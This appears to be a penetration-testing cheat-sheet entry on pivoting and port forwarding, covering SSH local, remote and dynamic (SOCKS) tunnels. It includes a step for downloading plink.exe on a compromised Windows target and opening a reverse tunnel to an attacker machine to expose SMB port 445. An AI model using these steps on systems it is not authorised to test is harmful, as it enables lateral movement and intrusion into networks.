Pivoting / lateral movement / port forwarding / tunneling
Local port forwarding
Forward local port to remote host
ssh <gateway> -L <local port to listen>:<remote host>:<remote port>
Remote port forwarding
Forward remote port to local host
ssh <gateway> -R <remote port to bind>:<local host>:<local port>
Windows: forward local Windows port 445 to 444 at our attacking machine. First start ssh at our attacking machine:
service ssh start
Download plink.exe at target and execute (where x.x.x.x is our attacking machine):
plink.exe -l root x.x.x.x -R 444:127.0.0.1:445
Dynamic port forwarding
The -D flag makes SSH acting as a SOCKS (4,5) proxy server, which simply is a SSH tunnel in which specific applications forward the traffic through the tunnel to the remote server. Unlike local port forwarding, dynamic port forwarding can handle connections from multiple ports.